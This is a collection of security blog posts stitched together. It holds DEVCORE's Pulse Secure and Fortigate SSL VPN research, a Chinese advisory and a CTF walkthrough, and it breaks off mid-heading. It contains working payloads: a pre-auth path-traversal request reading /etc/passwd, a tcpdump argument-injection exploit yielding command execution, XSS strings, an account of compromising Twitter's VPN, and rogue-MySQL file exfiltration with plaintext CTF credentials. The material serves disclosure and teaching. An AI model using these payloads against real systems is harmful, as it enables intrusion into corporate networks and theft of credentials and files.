Actually, this is the most severe bug in this time. It is in the web server implementation. As our slides mentioned, Pulse Secure implements their own web server and architecture stack from scratch. The original path validation is very strict. However, since version 8.2, Pulse Secure introduced a new feature called HTML5 Access, it’s a feature used to interact with Telnet, SSH, and RDP by browsers. Thanks to this new feature, the original path validation becomes loose.

In order to handle the static resources, Pulse Secure created a new IF-CONDITION to widen the originally strict path validation. The code wrongly uses the request->uri and request->filepath, so that we can specify the /dana/html5acc/guacamole/ in the end of the query string to bypass the validation and make request->filepath to any file you want to download!

And it’s worth to mention that in order to read arbitrary files, you must to specify the /dana/html5acc/guacamole/ in the middle of the path again. Otherwise, you can only download limited file extensions such as .json, .xml or .html.

Due to the exploit is in the wild, there is no longer any concern to show the payload:

import requests

r = requests.get('https://sslvpn/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/')
print r.content

CVE-2019-11539: Post-auth(admin) Command Injection

The last one is a command injection on the management interface. We found this vulnerability very early, but could not find a way to exploit it at first. While we were in Vegas, one of my friends told me that he found the same bug before, but he didn’t find a way to exploit it, so he didn’t report to the vendor.

However, we did it, and we exploit it in a very smart way :)

The root cause of this vulnerability is very simple. Here is a code fragment of /dana-admin/diag/diag.cgi:

# ...
$options = tcpdump_options_syntax_check(CGI::param("options"));

# ...
sub tcpdump_options_syntax_check {
  my $options = shift;
  return $options if system("$TCPDUMP_COMMAND -d $options >/dev/null 2>&1") == 0;
  return undef;
}

It’s so obvious and straightforward that everyone can point out there is a command injection at the parameter options! However, is it that easy? No!

In order to avoid potential vulnerabilities, Pulse Secure applies lots of hardenings on their products! Such as the system integrity check, read-only filesystem and a module to hook all dangerous Perl invocations like system, open and backtick

This module is called DSSAFE.pm. It implements its own command line parser and re-implements the I/O redirections in Perl. Here is the code fragments on Gist.

From the code fragments, you can see it replaces the original system and do lots of checks in __parsecmd. It also blocks numerous bad characters such as:

[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

The checks are very strict so that we can not perform any command injection. We imagined several ways to bypass that, and the first thing came out of my mind is the argument injection. We listed all arguments that TCPDUMP supports and found that the -z postrotate-command may be useful. But the sad thing is that the TCPDUMP in Pulse Secure is too old(v3.9.4, Sept 2005) to support this juicy feature, so we failed :(

While examining the system, we found that although the webroot is read-only, we can still abuse the cache mechanism. Pulse Secure caches the template result in /data/runtime/tmp/tt/ to speed up script rendering. So our next attempt is to write a file into the template cache directory via -w write-file argument. However, it seems impossible to write a polyglot file in both PCAP and Perl format.

As it seems we had reached the end of argument injection, we tried to dig deeper into the DSSFAFE.pm implementation to see if there is anything we can leverage. Here we found a defect in the command line parser. If we insert an incomplete I/O redirection, the rest of the redirection part will be truncated. Although this is a tiny flaw, it helped us to re-control the I/O redirections! However, the problem that we can’t generate a valid Perl script still bothered us.

We got stuck here, and it’s time to think out of the box. It’s hard to generate a valid Perl script via STDOUT, could we just write the Perl by STDERR? The answer is yes. When we force the TCPDUMP to read a nonexistent-file via -r read-file. It shows the error:

tcpdump: [filename]: No such file or directory

It seems we can “partially” control the error message. Then we tried the filename print 123#, and the magic happens!

$ tcpdump -d -r 'print 123#'
  tcpdump: print 123#: No such file or directory
 
$ tcpdump -d -r 'print 123#' 2>&1 | perl –
  123

The error message becomes a valid Perl script now. Why? OK, let’s have a Perl 101 lesson now!

As you can see, Perl supports the GOTO label, so the tcpdump: becomes a valid label in Perl. Then, we comment the rest with a hashtag. With this creative trick, we can generate any valid Perl now!

Finally, we use an incomplete I/O symbol < to fool the DSSAFE.pm command parser and redirect the STDERR into the cache directory! Here is the final exploit:

-r$x="ls /",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 

The concatenated command looks like:

/usr/sbin/tcpdump -d 
 -r'$x="ls /",system$x#'
 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < 
 >/dev/null
 2>&1

And the generated setcookie.thtml.ttc looks like:

 tcpdump: $x="ls /",system$x#: No such file or directory

Once we have done this, we can just fetch the corresponding page to execute our command:

$ curl https://sslvpn/dana-na/auth/setcookie.cgi
 boot  bin  home  lib64       mnt      opt  proc  sys  usr  var
 data  etc  lib   lost+found  modules  pkg  sbin  tmp 
 ...

So far, the whole technical part of this command injection is over. However, we think there may be another creative way to exploit this, if you found one, please tell me!

The Case Study

After Pulse Secure patched all the bugs on April 24, 2019. We kept monitoring the Internet to measure the response time of each large corporation. Twitter is one of them. They are known for their bug bounty program and nice to hackers. However, it’s improper to exploit a 1-day right after the patch released. So we wait 30 days for Twitter to upgrade their SSL VPN.

We have to say, we were nervous during that time. The first thing we did every morning is to check whether Twitter upgrades their SSL VPN or not! It was an unforgettable time for us :P

We started to hack Twitter on May 28, 2019. During this operation, we encounter several obstacles. The first one is, although we can obtain the plaintext password of Twitter staffs, we still can’t log into their SSL VPN because of the Two Factor Authentication. Here we suggest two ways to bypass that. The first one is that we observed Twitter uses the solution from Duo. The manual mentions:

The security of your Duo application is tied to the security of your secret key (skey). Secure it as you would any sensitive credential. Don’t share it with unauthorized individuals or email it to anyone under any circumstances!

So if we can extract the secret key from the system, we can leverage the Duo API to bypass the 2FA. However, we found a quicker way to bypass it. Twitter enabled the Roaming Session feature, which is used to enhances mobility and allows a session from multiple IP locations.

Due to this “convenient” feature, we can just download the session database and forge our cookies to log into their system!

Until now, we are able to access Twitter Intranet. Nevertheless, our goal is to achieve code execution! It sounds more critical than just accessing the Intranet. So we would like to chain our command injection bug(CVE-2019-11539) together. OK, here, we encountered another obstacle. It’s the restricted management interface!

As we mentioned before, our bug is on the management interface. But for the security consideration, most of the corporation disable this interface on public, so we need another way to access the admin page. If you have read our previous article carefully, you may recall the “WebVPN” feature! WebVPN is a proxy which helps to connect to anywhere. So, let’s connect to itself.

Yes, it’s SSRF!

Here we use a small trick to bypass the SSRF protections.

Ahha! Through our SSRF, we can touch the interface now! Then, the last obstacle popped up. We didn’t have any plaintext password of managers. When Perl wants to exchange data with native procedures, such as the Perl extension in C++ or web server, it uses the cache to store data. The problem is, Pulse Secure forgets to clear the sensitive data after exchange, so that’s why we can obtain plaintext passwords in the cache. But practically, most of the managers only log into their system for the first time, so it’s hard to get the manager’s plaintext password. The only thing we got, is the password hash in sha256(md5_crypt(salt, …)) format…

If you are experienced in cracking hashes, you will know how hard it is. So…






We launched a 72 core AWS to crack that.

We cracked the hash and got the RCE successfully! I think we are lucky because from our observation, there is a very strong password policy on Twitter staffs. But it seems the policy is not applied to the manager. The manager’s password length is only ten, and the first character is B. It’s at a very early stage of our cracking queue so that we can crack the hash in 3 hours.

We reported all of our findings to Twitter and got the highest bounty from them. Although we can not prove that, it seems this is the first remote code execution on Twitter! If you are interested in the full report, you can check the HackerOne link for more details.

Recommendations

How to mitigate such attacks? Here we give several recommendations.

The first is the Client-Side Certificate. It’s also the most effective method. Without a valid certificate, the malicious connection will be dropped during SSL negotiation! The second is the Multi-factor Authentication. Although we break the Twitter 2FA this time, with a proper setting, the MFA can still decrease numerous attack surface. Next, enable the full log audit and remember to send to an out-bound log server.

Also, perform your corporate asset inventory regularly and subscribe to the vendor’s security advisory. The most important of all, always keep your system updated!

Bonus: Take over all the VPN clients

Our company, DEVCORE, provides the most professional red team service in Asia. In this bonus part, let’s talk about how to make the red team more RED!

We always know that in a red team operation, the personal computer is more valuable! There are several old-school methods to compromise the VPN clients through SSL VPN before, such as the water-hole attack and replacing the VPN agent.

During our research, we found a new attack vector to take over all the clients. It’s the “logon script” feature. It appears in almost EVERY SSL VPNs, such as OpenVPN, Fortinet, Pulse Secure… and more. It can execute corresponding scripts to mount the network file-system or change the routing table once the VPN connection established.

Due to this “hacker-friendly” feature, once we got the admin privilege, we can leverage this feature to infect all the VPN clients! Here we use the Pulse Secure as an example, and demonstrate how to not only compromise the SSL VPN but also take over all of your connected clients:

Epilogue

OK, here is the end of this Attacking SSL VPN series! From our findings, SSL VPN is such a huge attack surface with few security researchers digging into. Apparently, it deserves more attention. We hope this kind of series can encourage other researchers to engage in this field and enhance the security of enterprises!

Thanks to all guys we met, co-worked and cooperated. We will publish more innovative researches in the future :)

Pulse Secure SSL VPN 資安通報

27 August 2019 at 16:00

內容

在我們對 Pulse Secure SSL VPN 的安全研究中,共發現了下列七個弱點。組合利用有機會取得 SSL VPN 設備的最高權限,可讓攻擊者進入用戶內網,甚至控制每個透過 SSL VPN 連線的使用者裝置。

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

受影響的版本如下:

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

目前已經出現攻擊者對全世界設備進行大規模掃描,請 Pulse Secure SSL VPN 用戶儘速更新,需要更新的版本資源可參考原廠 Pulse Secure 的公告

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/

附註

目前亦發現攻擊者對我們之前發表的 Fortigate SSL VPNPalo Alto GlobalProtect 弱點進行大規模掃描,再次提醒請用戶儘速更新以上 SSL VPN 設備至最新版。

ReadMe Walkthrough

18 August 2019 at 00:00

Overview

ReadMe is aiming to teach users about two things. One, a feature of MySQL that I have found to not be widely known about - which is that the client can be forced to send local files to the server. Two, some basic x86 assembly and analysis with gdb.

Network Configuration

ReadMe is currently using DHCP on the ens33 interface. This can be configured using netplan.

The open ports are 22 (SSH), 3360 (a fake MySQL server), and 80 (Apache).

User Credentials

tatham:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE julian:I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh

Both these users can login via SSH (required as part of the challenge). Julian is not part of the sudo group but tatham is.

Flags

  • User: 2e640cbe2ea53070a0dbd3e5104e7c98
  • Root: 52eeb6cfa53008c6b87a6c79f4347275

Path To User Flag

Initially, the user will be able to see three open ports:

  • 22
  • 80
  • 3306

The service listening on port 3306 is a Python script that accepts connections and mimics a MySQL server with remote authentication disabled. This is part rabbit-hole and part resource saver, given there is no need to have MySQL running.

On port 80, a web server can be found which needs to be brute forced to find some key files:

  • /info.php: shows phpinfo() output, which will show that the mysqli.allow_local_infile setting is enabled
  • /reminder.php: contains an important hint for the root flag (that the code in tatham’s directory is using an encoder) and will also reveal the path of a directory containing an important file
  • /adminer.php: a copy of adminer 4.4

Upon visiting reminder.php, the user will see a message directed towards julian followed by an image which is being served from a directory with no index that also contains a file named creds.txt. This file will reveal the path to where julian’s login credentials can be found on the local file system (/etc/julian.txt).

With this information, the user can point adminer towards their own MySQL server in order to exfiltrate the contents of /etc/julian.txt. To do this, a MySQL server must be installed (apt install mysql-server) and a user created that has all privileges on a database (this can be any database, for example’s sake, I’ll be using the mysql database).

When creating the user, the authentication type must be set to mysql_native_password due to the mysqli driver not supporting the latest default authentication method. If it is not, adminer will indicate to the user that it cannot authenticate and output a MySQL error.

To setup a user this way, the following command should be executed in the MySQL CLI:

CREATE USER 'jeff'@'%' IDENTIFIED WITH mysql_native_password BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'jeff'@'%';

Now that a new user is setup (in this case, jeff), the local_infile variable on the user’s MySQL server needs to be enabled. To do this, execute:

SET GLOBAL local_infile = true;

The setting can then be confirmed by running:

SHOW GLOBAL VARIABLES LIKE 'local_infile';

If the setting was successfully enabled, the following output will be displayed:

+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| local_infile  | ON    |
+---------------+-------+

Now that the attacker’s MySQL server is setup, navigating to /adminer.php and filling in the connection details will force adminer to connect back to the attacker, where they will then be viewing their own database server in the web app.

From here, files local to ReadMe can be exfiltrated to the attacker using the local infile syntax. First, the user must create a new table to save the data into. For this example, I have created a table named exploit with a single text column.

After creating the table, going to the SQL command page and executing the following query will populate the exploit table with the contents of /etc/julian.txt:

load data local infile '/etc/julian.txt' into table mysql.exploit fields terminated by "\n"

After executing this query, clicking “select” to the left of the exploit table will reveal a row for each line in the file, which reveals the password for the julian account:

With the password recovered, the user can then login via SSH as julian using the password and get the user flag from /home/julian/user.txt

Path to Root Flag

After authenticating as julian, the user will be able to see the contents of tatham’s home directory. Within this directory are two files:

  • payload.bin: a file containing shellcode, which contains tatham’s password
  • poc.c: a file that the shellcode can be placed in to run it

There are two methods that can be used to decode the payload and recover the password.

Method 1: Debugging

First, place the contents of payload.bin into the placeholder of poc.c and compile with protections disabled:

gcc -m32 -fno-stack-protector -z execstack poc.c -o poc

Next, load poc into gdb (gdb ./poc) and disassemble the main function to find the point which the shellcode is called by running disas main:

After confirming the offset, place a breakpoint (b *main+164) and then run the executable. Once the breakpoint is hit, stepping into the call eax instruction will then leave the user at the point of the xorfuscator decoder stub being executed:

Once here, viewing the next 15 instructions that are to be executed (x/15i $pc) will reveal the address that the decoded payload can be found at after the stub has finished (in this case, 0xffffc595, this value will change every time due to ASLR):

A breakpoint should be placed here (b *0xffffc595) and once it is hit, after continuing execution, should be stepped into. Now EIP will be pointing at the original shellcode that has been decoded in place.

By viewing the next 70 instructions (x/70i $pc), the user will be able to dump out the original un-encoded instructions (the screenshot below was taken after stepping one instruction further in, in the original shellcode, there is a mov ebp, esp instruction before the first xor):

Continuing to execute from this point will result in the password not being revealed, as the original payload contains two key mistakes that need to be fixed if the user wishes to reveal it via execution.

Examining the recovered code will show 64 bytes being repeatedly loaded into the eax register, even though the rest of the code is trying to work with a value on the stack. This should make it clear that the lea eax instructions should actually be push instructions.

In addition to this, the decoder loop is exiting after the first iteration as a jz instruction is being used as opposed to a jnz.

A copy of the working and broken payloads can be found at the end of this post.

After reconstructing the NASM file to represent something functionally equivalent to the original code (see sample at end of this post), it can be compiled by running (assuming the code is in a file named fixed.nasm):

nasm -f elf32 fixed.nasm && ld -m elf_i386 fixed.o

The previous command will now have built a file named a.out which is the fixed executable, running this in gdb will make execution pause when it reaches the interrupts at the end of the file, and the base64 encoded password will be visible on the stack:

Decoding this value will reveal the password for the tatham account, which if the user logs into will be able to run any command as root using sudo, and will be able to then obtain the root flag.

Method 2: Manually Decoding

The alternative to recovering the decoded payload using gdb is to do it manually. Due to the relatively small size of the payload, this is doable and may make the process slightly easier if the encoding method can be identified.

The encoder used as well as a script that contains the decoder stub is publicly documented here: https://rastating.github.io/creating-a-custom-shellcode-encoder/

By first removing the decoder stub from the contents of payload.bin, the user will be left with only the encoded payload. The user can then work through the remaining values and XOR each pair with the byte that precedes it as per the illustration on the aforementioned page:

After recovering the original hexadecimal bytes, the ASM code can be recovered using ndisasm, as per below:

$ echo -ne "\x89\xe5\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x8d\x05\x12\x13\x7f\x7f\x8d\x05\x22\x2f\x7b\x15\x8d\x05\x12\x73\x24\x13\x8d\x05\x23\x04\x7b\x08\x8d\x05\x22\x70\x28\x73\x8d\x05\x12\x09\x28\x30\x8d\x05\x20\x2f\x16\x3b\x8d\x05\x19\x19\x0e\x36\x8d\x05\x13\x09\x7b\x15\x8d\x05\x60\x09\x7b\x75\x8d\x05\x10\x75\x16\x70\x8d\x05\x25\x2f\x16\x2d\x8d\x05\x23\x19\x24\x73\x8d\x05\x27\x75\x16\x09\x8d\x05\x0c\x2b\x77\x1a\x8d\x05\x17\x72\x78\x37\x8d\x4d\x00\x29\xe1\x8d\x15\x14\x00\x00\x00\x39\xd1\x74\x4a\x8d\x15\x18\x00\x00\x00\x39\xd1\x74\x48\x8d\x15\x1c\x00\x00\x00\x39\xd1\x74\x3e\x8d\x15\x20\x00\x00\x00\x39\xd1\x74\x3c\x8d\x15\x24\x00\x00\x00\x39\xd1\x74\x3a\x8d\x15\x28\x00\x00\x00\x39\xd1\x74\x38\x8d\x15\x2c\x00\x00\x00\x39\xd1\x74\x16\x8d\x15\x38\x00\x00\x00\x39\xd1\x74\x1c\xeb\x2a\xeb\xac\x8d\x1d\x46\x41\x41\x41\xeb\x28\x8d\x1d\x45\x41\x41\x41\xeb\x20\x8d\x1d\x42\x41\x41\x41\xeb\x18\x8d\x1d\x44\x41\x41\x41\xeb\x10\x8d\x1d\x34\x41\x41\x41\xeb\x08\x8d\x1d\x41\x41\x41\x41\xeb\x00\x8d\x45\x00\x29\xc8\x31\x18\x81\x28\x01\x01\x01\x01\x83\xe9\x04\x31\xc0\x39\xc1\x74\xb8\xcc\xcc\xcc\xcc" | ndisasm -b 32 -p intel -
00000000  89E5              mov ebp,esp
00000002  31C0              xor eax,eax
00000004  31DB              xor ebx,ebx
00000006  31C9              xor ecx,ecx
00000008  31D2              xor edx,edx
0000000A  8D0512137F7F      lea eax,[dword 0x7f7f1312]
00000010  8D05222F7B15      lea eax,[dword 0x157b2f22]
00000016  8D0512732413      lea eax,[dword 0x13247312]
0000001C  8D0523047B08      lea eax,[dword 0x87b0423]
00000022  8D0522702873      lea eax,[dword 0x73287022]
00000028  8D0512092830      lea eax,[dword 0x30280912]
0000002E  8D05202F163B      lea eax,[dword 0x3b162f20]
00000034  8D0519190E36      lea eax,[dword 0x360e1919]
0000003A  8D0513097B15      lea eax,[dword 0x157b0913]
00000040  8D0560097B75      lea eax,[dword 0x757b0960]
00000046  8D0510751670      lea eax,[dword 0x70167510]
0000004C  8D05252F162D      lea eax,[dword 0x2d162f25]
00000052  8D0523192473      lea eax,[dword 0x73241923]
00000058  8D0527751609      lea eax,[dword 0x9167527]
0000005E  8D050C2B771A      lea eax,[dword 0x1a772b0c]
00000064  8D0517727837      lea eax,[dword 0x37787217]
0000006A  8D4D00            lea ecx,[ebp+0x0]
0000006D  29E1              sub ecx,esp
0000006F  8D1514000000      lea edx,[dword 0x14]
00000075  39D1              cmp ecx,edx
00000077  744A              jz 0xc3
00000079  8D1518000000      lea edx,[dword 0x18]
0000007F  39D1              cmp ecx,edx
00000081  7448              jz 0xcb
00000083  8D151C000000      lea edx,[dword 0x1c]
00000089  39D1              cmp ecx,edx
0000008B  743E              jz 0xcb
0000008D  8D1520000000      lea edx,[dword 0x20]
00000093  39D1              cmp ecx,edx
00000095  743C              jz 0xd3
00000097  8D1524000000      lea edx,[dword 0x24]
0000009D  39D1              cmp ecx,edx
0000009F  743A              jz 0xdb
000000A1  8D1528000000      lea edx,[dword 0x28]
000000A7  39D1              cmp ecx,edx
000000A9  7438              jz 0xe3
000000AB  8D152C000000      lea edx,[dword 0x2c]
000000B1  39D1              cmp ecx,edx
000000B3  7416              jz 0xcb
000000B5  8D1538000000      lea edx,[dword 0x38]
000000BB  39D1              cmp ecx,edx
000000BD  741C              jz 0xdb
000000BF  EB2A              jmp short 0xeb
000000C1  EBAC              jmp short 0x6f
000000C3  8D1D46414141      lea ebx,[dword 0x41414146]
000000C9  EB28              jmp short 0xf3
000000CB  8D1D45414141      lea ebx,[dword 0x41414145]
000000D1  EB20              jmp short 0xf3
000000D3  8D1D42414141      lea ebx,[dword 0x41414142]
000000D9  EB18              jmp short 0xf3
000000DB  8D1D44414141      lea ebx,[dword 0x41414144]
000000E1  EB10              jmp short 0xf3
000000E3  8D1D34414141      lea ebx,[dword 0x41414134]
000000E9  EB08              jmp short 0xf3
000000EB  8D1D41414141      lea ebx,[dword 0x41414141]
000000F1  EB00              jmp short 0xf3
000000F3  8D4500            lea eax,[ebp+0x0]
000000F6  29C8              sub eax,ecx
000000F8  3118              xor [eax],ebx
000000FA  812801010101      sub dword [eax],0x1010101
00000100  83E904            sub ecx,byte +0x4
00000103  31C0              xor eax,eax
00000105  39C1              cmp ecx,eax
00000107  74B8              jz 0xc1
00000109  CC                int3
0000010A  CC                int3
0000010B  CC                int3
0000010C  CC                int3

After recovering the original payload, the user can either fix it as per the explanation in method 1, or they can try to analyse what is happening in the loop which is XORing the 64 encoded bytes on the stack against the below key and shifting the ASCII values negatively one position:

AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA

An illustration of the decoding process can be viewed on CyberChef here: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Space’)XOR(%7B’option’:’UTF8’,’string’:’AAAAAAAADAAAAAAAAAAAEAAA4AAADAAABAAAEAAAEAAAFAAAAAAAAAAAAAAAAAAA’%7D,’Standard’,false)ROT47(-1)From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=MTcgNzIgNzggMzcgMGMgMmIgNzcgMWEgMjcgNzUgMTYgMDkgMjMgMTkgMjQgNzMgMjUgMmYgMTYgMmQgMTAgNzUgMTYgNzAgNjAgMDkgN2IgNzUgMTMgMDkgN2IgMTUgMTkgMTkgMGUgMzYgMjAgMmYgMTYgM2IgMTIgMDkgMjggMzAgMjIgNzAgMjggNzMgMjMgMDQgN2IgMDggMTIgNzMgMjQgMTMgMjIgMmYgN2IgMTUgMTIgMTMgN2YgN2Y

At this point, they can use the recovered password to login as tatham and retrieve the root flag using sudo as per method 1.

Fixed Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; push encoded password onto stack
    push  0x7f7f1312
    push  0x157b2f22
    push  0x13247312
    push  0x087b0423
    push  0x73287022
    push  0x30280912
    push  0x3b162f20
    push  0x360e1919
    push  0x157b0913
    push  0x757b0960
    push  0x70167510
    push  0x2d162f25
    push  0x73241923
    push  0x09167527
    push  0x1a772b0c
    push  0x37787217

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax
    jnz   short_loop_jmp

    int3
    int3
    int3
    int3

Original (Broken) Payload

global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; Challenge 1: stack push broken with loading into eax register
    lea   eax, [0x7f7f1312]
    lea   eax, [0x157b2f22]
    lea   eax, [0x13247312]
    lea   eax, [0x087b0423]
    lea   eax, [0x73287022]
    lea   eax, [0x30280912]
    lea   eax, [0x3b162f20]
    lea   eax, [0x360e1919]
    lea   eax, [0x157b0913]
    lea   eax, [0x757b0960]
    lea   eax, [0x70167510]
    lea   eax, [0x2d162f25]
    lea   eax, [0x73241923]
    lea   eax, [0x09167527]
    lea   eax, [0x1a772b0c]
    lea   eax, [0x37787217]

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax

    ; Challenge 2: jnz changed to jz
    jz    short_loop_jmp

    int3
    int3
    int3
    int3

Attacking SSL VPN - Part 2: Breaking the Fortigate SSL VPN

8 August 2019 at 16:00

Author: Meh Chang(@mehqq_) and Orange Tsai(@orange_8361)

Last month, we talked about Palo Alto Networks GlobalProtect RCE as an appetizer. Today, here comes the main dish! If you cannot go to Black Hat or DEFCON for our talk, or you are interested in more details, here is the slides for you!

We will also give a speech at the following conferences, just come and find us!

  • HITCON - Aug. 23 @ Taipei (Chinese)
  • HITB GSEC - Aug. 29,30 @ Singapore
  • RomHack - Sep. 28 @ Rome
  • and more …

Let’s start!

The story began in last August, when we started a new research project on SSL VPN. Compare to the site-to-site VPN such as the IPSEC and PPTP, SSL VPN is more easy to use and compatible with any network environments. For its convenience, SSL VPN becomes the most popular remote access way for enterprise!

However, what if this trusted equipment is insecure? It is an important corporate asset but a blind spot of corporation. According to our survey on Fortune 500, the Top-3 SSL VPN vendors dominate about 75% market share. The diversity of SSL VPN is narrow. Therefore, once we find a critical vulnerability on the leading SSL VPN, the impact is huge. There is no way to stop us because SSL VPN must be exposed to the internet.

At the beginning of our research, we made a little survey on the CVE amount of leading SSL VPN vendors:

It seems like Fortinet and Pulse Secure are the most secure ones. Is that true? As a myth buster, we took on this challenge and started hacking Fortinet and Pulse Secure! This story is about hacking Fortigate SSL VPN. The next article is going to be about Pulse Secure, which is the most splendid one! Stay tuned!

Fortigate SSL VPN

Fortinet calls their SSL VPN product line as Fortigate SSL VPN, which is prevalent among end users and medium-sized enterprise. There are more than 480k servers operating on the internet and is common in Asia and Europe. We can identify it from the URL /remote/login. Here is the technical feature of Fortigate:

  • All-in-one binary We started our research from the file system. We tried to list the binaries in /bin/ and found there are all symbolic links, pointing to /bin/init. Just like this:

    Fortigate compiles all the programs and configurations into a single binary, which makes the init really huge. It contains thousands of functions and there is no symbol! It only contains necessary programs for the SSL VPN, so the environment is really inconvenient for hackers. For example, there is even no /bin/ls or /bin/cat!

  • Web daemon There are 2 web interfaces running on the Fortigate. One is for the admin interface, handled with /bin/httpsd on the port 443. The other is normal user interface, handled with /bin/sslvpnd on the port 4433 by default. Generally, the admin page should be restricted from the internet, so we can only access the user interface.

    Through our investigation, we found the web server is modified from apache, but it is the apache from 2002. Apparently they modified apache in 2002 and added their own additional functionality. We can map the source code of apache to speed up our analysis.

    In both web service, they also compiled their own apache modules into the binary to handle each URL path. We can find a table specifying the handlers and dig into them!

  • WebVPN WebVPN is a convenient proxy feature which allows us connect to all the services simply through a browser. It supports many protocols, like HTTP, FTP, RDP. It can also handle various web resources, such as WebSocket and Flash. To process a website correctly, it parses the HTML and rewrites all the URLs for us. This involves heavy string operation, which is prone to memory bugs.

Vulnerabilities

We found several vulnerabilities:

CVE-2018-13379: Pre-auth arbitrary file reading

While fetching corresponding language file, it builds the json file path with the parameter lang:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

There is no protection, but a file extension appended automatically. It seems like we can only read json file. However, actually we can abuse the feature of snprintf. According to the man page, it writes at most size-1 into the output string. Therefore, we only need to make it exceed the buffer size and the .json will be stripped. Then we can read whatever we want.

CVE-2018-13380: Pre-auth XSS

There are several XSS:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381: Pre-auth heap overflow

